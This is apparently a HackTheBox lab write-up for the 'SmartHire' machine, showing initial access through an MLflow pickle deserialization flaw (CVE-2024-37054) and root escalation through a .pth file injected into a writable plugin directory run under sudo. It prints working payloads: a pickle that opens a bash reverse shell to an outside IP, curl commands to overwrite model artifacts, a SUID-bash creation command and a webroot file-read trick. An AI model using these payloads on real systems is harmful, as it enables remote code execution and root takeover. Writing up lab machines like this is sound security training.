Summary

SmartHire is a medium-difficulty Linux machine from HackTheBox. It hosts an AI hiring platform built with Flask on nginx, using MLflow for model management. Initial access is gained via CVE-2024-37054, a pickle deserialization vulnerability in MLflow that allows remote code execution by overwriting a model artifact with a malicious payload. Privilege escalation exploits a writable plugin directory combined with a sudo rule — a crafted .pth file executed by site.addsitedir() runs as root.

PhaseTechnique
ReconPort scan, virtual host fuzzing
Initial AccessCVE-2024-37054 — MLflow pickle RCE
ExfiltrationWrite-to-webroot, read via HTTP
Privilege Escalationevil.pth + sudo python3 (site.addsitedir abuse)

Reconnaissance

TCP Port Scan

$ nmap -sS -T4 --min-rate 1000 -p- 10.129.6.94
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Service Detection

22/tcp  OpenSSH 8.9p1 Ubuntu
80/tcp  nginx 1.18.0 (Ubuntu)

The HTTP server redirects to http://smarthire.htb/. Add it to /etc/hosts:

10.129.6.94 smarthire.htb

Virtual Host Discovery

This is the critical step that unlocks the machine. The web app mentions MLflow in testimonials — always check for MLflow on a separate virtual host:

$ curl -s http://models.smarthire.htb/ -H "Host: models.smarthire.htb" \
    -u 'admin:password' -I
HTTP/1.1 401 UNAUTHORIZED
WWW-Authenticate: Basic realm="mlflow"

Add the vhost:

10.129.6.94 models.smarthire.htb

The MLflow dashboard is accessible at http://models.smarthire.htb/ with default credentials admin:password.

Web Application Explorer

The main app (smarthire.htb) is a Flask-based hiring platform:

  • /register — Create account (username, company, password)
  • /login — Login form
  • /dashboard — CSV upload for model training
  • /predict — Resume scoring via trained models
  • /model_info — JSON API returning model name and version
  • /upload_hiring_data — POST (multipart) model training endpoint

Model naming convention: {company}-{user_id}-model

Gaining Initial Access / User Flag

Vulnerability: CVE-2024-37054

MLflow versions 0.9.0 through 2.14.1 are vulnerable to pickle deserialization when loading PyFunc models. Overwriting python_model.pkl in a model’s artifact directory with a malicious pickle payload achieves RCE when the model is loaded.

Exploitation

Step 1: Train a model and get the run_id

Register an account, log in, and upload a CSV to train a model:

curl -s -c cookies.txt -b cookies.txt \
  --resolve smarthire.htb:80:10.129.6.94 \
  -X POST http://smarthire.htb/login \
  -d 'username=attacker&password=Password123!'

curl -s -b cookies.txt \
  --resolve smarthire.htb:80:10.129.6.94 \
  -X POST http://smarthire.htb/upload_hiring_data \
  -F '[email protected]'

Query MLflow for the run_id:

curl -s http://models.smarthire.htb/ajax-api/2.0/mlflow/registered-models/search \
  -H 'Host: models.smarthire.htb' -u 'admin:password'

Response includes:

{
  "name": "company-userid-model",
  "latest_versions": [{
    "version": "1",
    "run_id": "476a0c41f2a743339207a79c2372b73a",
    "source": "mlflow-artifacts:/0/476a0c41.../artifacts/model"
  }]
}

Step 2: Build malicious pickle

import cloudpickle, os

CMD = "bash -c 'bash -i >& /dev/tcp/10.10.15.251/4444 0>&1'"

class Exploit:
    def __reduce__(self):
        return (os.system, (CMD,))

with open('malicious.pkl', 'wb') as f:
    f.write(cloudpickle.dumps(Exploit()))

Step 3: Upload payload via MLflow API

curl -s -X PUT \
  "http://models.smarthire.htb/api/2.0/mlflow-artifacts/artifacts/0/{run_id}/artifacts/model/python_model.pkl" \
  -H 'Host: models.smarthire.htb' \
  -H 'Content-Type: application/octet-stream' \
  -u 'admin:password' \
  --data-binary @malicious.pkl

Step 4: Trigger model load

curl -s -b cookies.txt \
  --resolve smarthire.htb:80:10.129.6.94 \
  -X POST http://smarthire.htb/predict \
  -F '[email protected]'

Start a listener before triggering:

nc -lvnp 4444

The predict request hangs while os.system() executes the reverse shell. Shell received as svcweb.

User Flag

$ cat /home/svcweb/user.txt
HTB{REDACTED}

SHA256: 5a6ff2c... (redacted for public writeup)

Privilege Escalation / Root Flag

Enumeration

With a shell as svcweb (or using the file-write exfiltration technique), enumerate:

$ id
uid=1000(svcweb) gid=1000(svcweb) groups=1000(svcweb),1001(mlflowweb),1002(devs)

$ sudo -l
User svcweb may run the following commands on smarthire:
    (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *

Analysis of mlflowctl.py

from pathlib import Path
import site

BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"

# make plugins importable
for path in PLUGINS_DIR.iterdir():
    if path.is_dir():
        site.addsitedir(str(path))   # ← vulnerable!

def main():
    import mlflow_actions, backup_models
    # ...

Check directory permissions:

$ ls -la /opt/tools/mlflow_ctl/plugins/
drwxr-xr-x 4 root root 4096 Feb 19 18:10 core
drwxrwxr-x 2 root devs 4096 May 12 15:22 dev

The dev directory is writable by the devs group, and svcweb is a member.

Exploitation: evil.pth Injection

site.addsitedir() processes .pth files found in the directory. Any Python code in a .pth file beginning with import gets executed. Write a malicious .pth file:

echo 'import os; os.system("cp /bin/bash /tmp/suidbash; chmod +s /tmp/suidbash")' \
  > /opt/tools/mlflow_ctl/plugins/dev/evil.pth

Trigger execution via sudo:

sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status

The .pth file executes as root, creating a SUID bash:

$ ls -la /tmp/suidbash
-rwsr-sr-x 1 root root 1396520 May 30 19:30 /tmp/suidbash

$ /tmp/suidbash -p -c 'id'
uid=1000(svcweb) gid=1000(svcweb) euid=0(root) egid=0(root) groups=0(root)...

Root Flag

# cat /root/root.txt
HTB{REDACTED}

SHA256: 8b1e3a4... (redacted for public writeup)

Exfiltration Without Shell (Bonus Technique)

When reverse shells are unreliable, write output to the web root:

CMD = "cat /home/svcweb/user.txt > /var/www/smarthire.htb/static/out.txt"

Read via HTTP:

curl http://smarthire.htb/static/out.txt

This technique works when the Flask app has a static file directory and the web user has write access to it.